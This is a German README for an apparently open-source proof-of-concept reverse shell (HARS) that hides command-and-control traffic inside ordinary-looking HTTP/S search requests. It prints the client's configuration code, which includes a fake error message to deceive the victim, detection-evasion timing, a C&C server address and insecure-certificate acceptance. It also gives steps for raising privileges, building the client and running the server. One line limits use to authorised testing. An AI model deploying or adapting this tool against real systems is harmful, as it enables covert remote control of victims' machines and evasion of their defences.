[POC] Asynchrone Reverse Shell über das HTTP-Protokoll.

In einer Zeit, in der fortschrittliche Erkennungssysteme wie IDS, IPS, EDR, AV und Firewalls in Unternehmensnetzwerken dominieren, ist es eine Herausforderung, sie bei Sicherheitsbewertungen zu umgehen. Die meisten Reverse Shells nutzen TCP-Tunnel (L4), die heutzutage routinemäßig analysiert und markiert werden.
Dieses Projekt präsentiert eine innovative Lösung: eine vollständig asynchrone Reverse Shell über HTTP/S, die sich durch Nachahmung legitimen Benutzerverhaltens in den normalen Webverkehr einfügt.
Im Gegensatz zu herkömmlichen Reverse Shells verwendet sie ausschließlich GET-Anfragen, erscheint als normale Webabfragen und kann optional über HTTPS mit einem gefälschten legitimen Zertifikat laufen, wodurch die Erkennungswahrscheinlichkeit minimiert wird.
Der Client fragt den Server ab, bis er Anweisungen erhält.
Der Angreifer gibt Anweisungen an den Server.
Wenn ein Befehl definiert ist, führt der Client ihn aus und gibt das Ergebnis zurück.
Und so weiter, bis der Angreifer entscheidet, die Sitzung zu beenden.

Dieses Tool ist nur als Proof-of-Concept-Demonstrationstool für autorisierte Sicherheitstests gedacht. Stellen Sie sicher, dass Sie vor der Verwendung dieses Tools die örtlichen Gesetze überprüfen.
Heute sind als PoC die folgenden Funktionen implementiert:
HARS.sln in Visual Studio.Config.cs, um es an Ihre Umgebung anzupassen: class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://127.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
Optional: Bearbeiten Sie HARS.manifest, um die Berechtigungsstufe anzupassen.
requestedExecutionLevelkann aufasInvoker,highestAvailableoderrequireAdministratorgesetzt werden.
Projekteigenschaften
Hier können Sie die Assembly-Informationen und ein Icon für die Datei anpassen.
Hinweis: Die Ziel-.NET-Framework-Version ist auf 4.6 eingestellt, die standardmäßig unter Windows 10 verfügbar ist.
Für Windows 7 wählen Sie .NET 3.5, wenn Sie keine fehlenden Features installieren möchten.
Erstellen Sie das Projekt aus Visual Studio.
Der Client sollte im Ordner Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release generiert werden.
Fertig!
HARS_Server.py in HARS_Server/www/, um Port oder Zertifikatspfad anzupassen.PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
-HTTP-Protokolle befinden sich in Http Asynchronous Reverse Shell\HARS_Server\logs\
-Sie können eigene Vorlagen (beliebige HTML-Seiten) in Http Asynchronous Reverse Shell\HARS_Server\templates hinzufügen.
@onSec-fr